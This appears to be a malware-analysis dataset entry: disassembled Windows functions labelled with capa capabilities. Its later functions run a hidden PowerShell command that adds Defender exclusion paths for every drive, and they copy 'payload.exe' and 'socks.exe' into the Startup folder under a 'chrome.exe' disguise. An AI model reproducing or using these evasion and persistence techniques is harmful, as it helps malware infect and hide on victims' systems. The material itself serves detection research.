joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003cee0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400be440]
mov r10d, 8
mov qword [rsp + 0x30], rcx
mov r9, qword [rax + 0x1c10]
movsxd rcx, dword [r9 + 0xc8]
mov rax, qword [r9 + 0xd0]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x30]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x140075240]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14003cf18
not r8d
lea rdx, [rsp + 0x30]
lea rcx, [r9 + 0xc8]
mov dword [rsp + 0x30], r8d
call fcn.14004334c
add rsp, 0x28
ret

Function at 0x14003cf58
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400be440]
mov r10d, 4
mov dword [rsp + 0x30], ecx
mov r9, qword [rax + 0x1c10]
movsxd rcx, dword [r9 + 0xc8]
mov rax, qword [r9 + 0xd0]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x30]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x140075240]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x14003cf8f
not r8d
lea rdx, [rsp + 0x30]
lea rcx, [r9 + 0xc8]
mov dword [rsp + 0x30], r8d
call fcn.14004334c
add rsp, 0x28
ret

Function at 0x140041b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3090], 0
lea rbx, [rcx + 0x3098]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140041bd9
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x140041b91
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.14004368c
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.140032b04
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3090]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1400be438]
movsxd r8, eax
mov rax, qword [rdi + 0x30a0]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140041be1
mov rcx, rbx
call fcn.140032b04
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400422ac
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1400be440]
mov rbx, rcx
and dword [rax + 0x302c], 0
test rcx, rcx
je 0x140042315
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140042320
lea rdx, [0x140084644]
mov rcx, rbx
mov rdi, rax
call fcn.1400320cc
mov rbx, rax
test rax, rax
je 0x140042315
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400532ec
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140092040]
xor rax, rsp
mov qword [rbp - 8], rax
mov rcx, qword [0x1400bf9a8]
lea rdx, [rbp - 0x18]
mov rdi, qword [0x1400be440]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp - 0x10]
lea rcx, [rbp - 0x20]
sub eax, dword [rbp - 0x18]
and qword [rbp - 0x20], 0
movd xmm1, eax
mov eax, dword [rbp - 0xc]
sub eax, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rdi + 0x10], xmm1
movss dword [rdi + 0x14], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp - 0x20]
xorps xmm1, xmm1
mov rax, rcx
xorps xmm0, xmm0
sub rax, qword [0x1400bf9b0]
cvtsi2ss xmm0, qword [0x1400bf9b8]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x18], xmm1
mov qword [0x1400bf9b0], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x140], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x141], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x143], 0
mov rbx, qword [0x1400be440]
mov byte [rdi + 0x142], al
cmp byte [rbx + 0x39b], 0
je 0x140053423
cvttss2si eax, dword [rbx + 0x128]
mov rcx, qword [0x1400bf9a8]
lea rdx, [rbp - 0x30]
mov dword [rbp - 0x30], eax
cvttss2si eax, dword [rbx + 0x12c]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
test eax, eax
je 0x140053423
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx + 0x128], eax
mov dword [rbx + 0x12c], eax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x14005349b
mov rdx, qword [0x1400bf9a8]
cmp rax, rdx
je 0x140053458
mov rcx, rax
call qword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x14005349b
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14005349b
mov rcx, qword [0x1400bf9a8]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x14005349b
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx + 0x128], xmm0
movss dword [rbx + 0x12c], xmm1
cmp byte [rdi + 0xc8], 0
je 0x1400534a9
or eax, 0xffffffff
jmp 0x1400534b6
mov rax, qword [0x1400be440]
mov eax, dword [rax + 0x1f48]
cmp dword [0x1400bd320], eax
je 0x1400534c9
mov dword [0x1400bd320], eax
call fcn.140052f80
call fcn.140053030
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14006dad0
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x1400663e8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, edx
mov edi, ecx
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax]
or esi, 0xffffffff
lea rbp, [0x1400c2a90]
mov eax, dword [rcx + rax]
cmp dword [0x1400c3e1c], eax
jle 0x140066487
lea rcx, [0x1400c3e1c]
call fcn.14006dc10
cmp dword [0x1400c3e1c], 0xffffffff
jne 0x140066487
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [0x1400c3e14], esi
mov dword [0x1400c2a94], eax
mov ecx, 0x270
mov r8d, 1
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, r8d
mov dword [rbp + r8*4 + 4], eax
inc r8
cmp r8, rcx
jb 0x140066458
mov dword [0x1400c2a90], ecx
lea rcx, [0x1400c3e1c]
call fcn.14006dba4
mov qword [rsp + 0x40], rbp
mov eax, 0x80000000
xor edi, eax
xor ebx, eax
sub ebx, edi
lea rcx, [rsp + 0x40]
cmp ebx, esi
jne 0x1400664a9
call fcn.14006d7a8
mov ecx, eax
jmp 0x1400664e2
inc ebx
mov esi, ebx
call fcn.14006d7a8
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1400664de
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1400664de
lea rcx, [rsp + 0x40]
call fcn.14006d7a8
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1400664ca
shr rcx, 0x20
lea eax, [rcx + rdi]
xor eax, 0x80000000
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400672c4
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
mov rsi, rcx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x18], xmm0
and qword [rbp - 8], 0
lea rdx, [rbp - 0x18]
lea rcx, [0x140066f0c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rdx, qword [rbp - 0x10]
mov r8, rdx
mov rcx, qword [rbp - 0x18]
sub r8, rcx
sar r8, 5
mov r9b, byte [rbp + 0x28]
call fcn.14006ce60
mov rdx, qword [rbp - 0x18]
cmp rdx, qword [rbp - 0x10]
je 0x1400673e4
mov rcx, rsi
call fcn.140002fbc
nop
mov rbx, qword [rbp - 0x18]
test rbx, rbx
je 0x1400673ce
mov r14, qword [rbp - 0x10]
mov edi, 0x1000
cmp rbx, r14
je 0x14006739a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14006737d
inc rdx
mov rcx, qword [rbx]
cmp rdx, rdi
jb 0x140067378
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400674b5
mov rcx, r8
call fcn.14006db34
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, r14
jne 0x140067347
mov rbx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
cmp rdx, rdi
mov rax, rbx
jb 0x1400673c6
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400674b5
mov rcx, rbx
call fcn.14006db34
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
and qword [rsi + 0x10], 0
and qword [rsi + 0x18], 0
mov qword [rbp + 0x28], 0x1f
lea rdx, [rbp + 0x28]
call fcn.140003c44
mov rdx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], 0x17
mov rcx, qword [rbp + 0x28]
mov qword [rsi + 0x18], rcx
movups xmm0, xmmword [str.Spotify_is_not_running.]
movups xmmword [rax], xmm0
mov ecx, dword [0x140086b68]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140086b6c]
mov word [rax + 0x14], cx
mov al, byte [0x140086b6e]
mov byte [rdx + 0x16], al
mov byte [rdx + 0x17], 0
mov rbx, qword [rbp - 0x18]
test rbx, rbx
je 0x1400673ce
mov r14, qword [rbp - 0x10]
mov edi, 0x1000
cmp rbx, r14
je 0x14006739a
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140067497
inc rdx
mov rcx, qword [rbx]
cmp rdx, rdi
jb 0x140067492
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400674b5
mov rcx, r8
call fcn.14006db34
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rbx, 0x20
cmp rbx, r14
jne 0x140067465
jmp 0x140067396
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14006d7a8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x14006d813
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x14006d7d6
mov ecx, dword [r9]
jmp 0x14006d8e1
cmp ecx, 0x4e0
jb 0x14006d8e1
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov edi, dword [rbx + 4]
mov edx, eax
lea rbx, [rbx + 4]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [rbx + 0x630]
xor ecx, edx
mov dword [rbx - 0x9c4], ecx
sub rsi, 1
jne 0x14006d839
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov edi, dword [rbx + 4]
mov edx, eax
lea rbx, [rbx + 4]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [rbx - 0xd50]
xor ecx, edx
mov dword [rbx - 0x9c4], ecx
sub rsi, 1
jne 0x14006d87a
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret

Function at 0x14006e878
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006e8c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006e8c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006e8c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006e8c2
cmp dword [rcx + 0x84], 0xe
jbe 0x14006e8c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006e8c4
xor al, al
add rsp, 0x28
ret
Function at 0x14006eab0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14006eaea
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14006eaef
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14006eb38
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140074c30]
cmp byte [rcx + rax], 0
je 0x14006eb38
dec r8
sub rdx, 1
jne 0x14006eb1e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14006f2fc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.14006ebc8
mov ebx, eax
test eax, eax
jne 0x14006f32c
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x14006f38f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14006f386
test al, 0x10
je 0x14006f386
bt eax, 0xa
jae 0x14006f37f
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.14006f3a0
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x14006f37b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14006f37b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x14006f386
and dword [rsp + 0x3c], 0
jmp 0x14006f38b
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400015db
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0xb0]
lea r8, str.powershell__WindowStyle_Hidden__Add_MpPreference__ExclusionPath__s___exit
mov edx, 0x100
mov rcx, rax
call fcn.140001591
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_system
nop
add rsp, 0x120
pop rbp
ret

Function at 0x140001627
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], rdx
lea rax, [0x14000b04d]
mov rdx, rax
mov rcx, qword [rbp + 0x3d0]
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
jne 0x140001680
lea rax, [0x14000b050]
mov rcx, rax
call sub.msvcrt.dll_perror
jmp 0x14000173d
mov rax, qword [rbp + 0x3d8]
lea rdx, [0x14000b08c]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x1400016ec
lea rax, str.___
mov rcx, rax
call sub.msvcrt.dll_perror
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x14000173d
mov rcx, qword [rbp + 0x3b0]
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp + 0x3b8]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x1400016c7
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sub.msvcrt.dll_fclose
nop
add rsp, 0x440
pop rbp
ret
Function at 0x140001746
Capabilities:
Get disk information
Query environment variable

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
call fcn.140001960
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call rax
mov dword [rbp + 0x3c8], eax
cmp dword [rbp + 0x3c8], 0
jne 0x14000178c
lea rax, str.____._n
mov rcx, rax
call fcn.140001540
mov eax, 1
jmp 0x1400018a2
mov byte [rbp + 0x3cf], 0x41
jmp 0x1400017f2
movsx eax, byte [rbp + 0x3cf]
sub eax, 0x41
mov edx, 1
mov ecx, eax
shl edx, cl
mov eax, edx
and eax, dword [rbp + 0x3c8]
test eax, eax
je 0x1400017e2
movsx edx, byte [rbp + 0x3cf]
lea rax, [rbp - 0x54]
mov r9d, edx
lea r8, str._c:_
mov edx, 4
mov rcx, rax
call fcn.140001591
lea rax, [rbp - 0x54]
mov rcx, rax
call fcn.1400015db
movzx eax, byte [rbp + 0x3cf]
add eax, 1
mov byte [rbp + 0x3cf], al
cmp byte [rbp + 0x3cf], 0x5a
jle 0x140001795
lea rax, str.payload.exe
mov qword [rbp + 0x3c0], rax
lea rax, str.socks.exe
mov qword [rbp + 0x3b8], rax
lea rax, str.USERPROFILE
mov rcx, rax
call sub.msvcrt.dll_getenv
mov qword [rbp + 0x3b0], rax
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp + 0x1b0]
mov r9, rdx
lea r8, str._sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupchrome.exe
mov edx, 0x200
mov rcx, rax
call fcn.140001591
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x3c0]
mov rcx, rax
call fcn.140001627
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_socks.exe
mov edx, 0x200
mov rcx, rax
call fcn.140001591
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call fcn.140001627
mov eax, 0
add rsp, 0x450
pop rbp
ret

Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400094a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400094a0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001c60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0c4]
mov rbx, rcx
test esi, esi
jle 0x140001d90
mov rax, qword [0x14000f0c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c90
mov rcx, rbx
call fcn.1400026b0
mov rdi, rax
test rax, rax
je 0x140001db2
mov rax, qword [0x14000f0c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400027f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d40
add dword [0x14000f0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001bf0
nop dword [rax]
xor esi, esi
jmp 0x140001cb8
mov rax, qword [0x14000f0c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001bf0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001bf0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400023a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x1400024d0
ja 0x1400023e8
test edx, edx
je 0x140002468
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002550
mov dword [0x14000f108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x1400023d5
mov eax, dword [0x14000f108]
test eax, eax
je 0x1400023d5
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x140002454
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002578
test rsi, rsi
je 0x140002578
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002428
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1400023d5
mov eax, dword [0x14000f108]
test eax, eax
jne 0x1400024e8
mov eax, dword [0x14000f108]
cmp eax, 1
jne 0x1400023d5
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x1400024a1
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sub.msvcrt.dll_free
test rbx, rbx
jne 0x140002490
lea rcx, [0x14000f120]
mov qword [0x14000f100], 0
mov dword [0x14000f108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x1400023d5
call fcn.140001be0
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x14000253c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002568
test rsi, rsi
je 0x140002568
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002518
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002472
lea rcx, [0x14000f120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1400023cb
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002518
jmp 0x14000253c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002428
jmp 0x140002454

Function at 0x1400026b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x14000b8a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400026d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400026d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026d0
movzx eax, word [rdx + 0x14]
sub rcx, r8
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002725
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000271c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400026d0
add rax, 0x28
cmp rax, r9
jne 0x140002708
xor eax, eax
ret
Function at 0x140002730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b8a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000274f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002758
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000274f
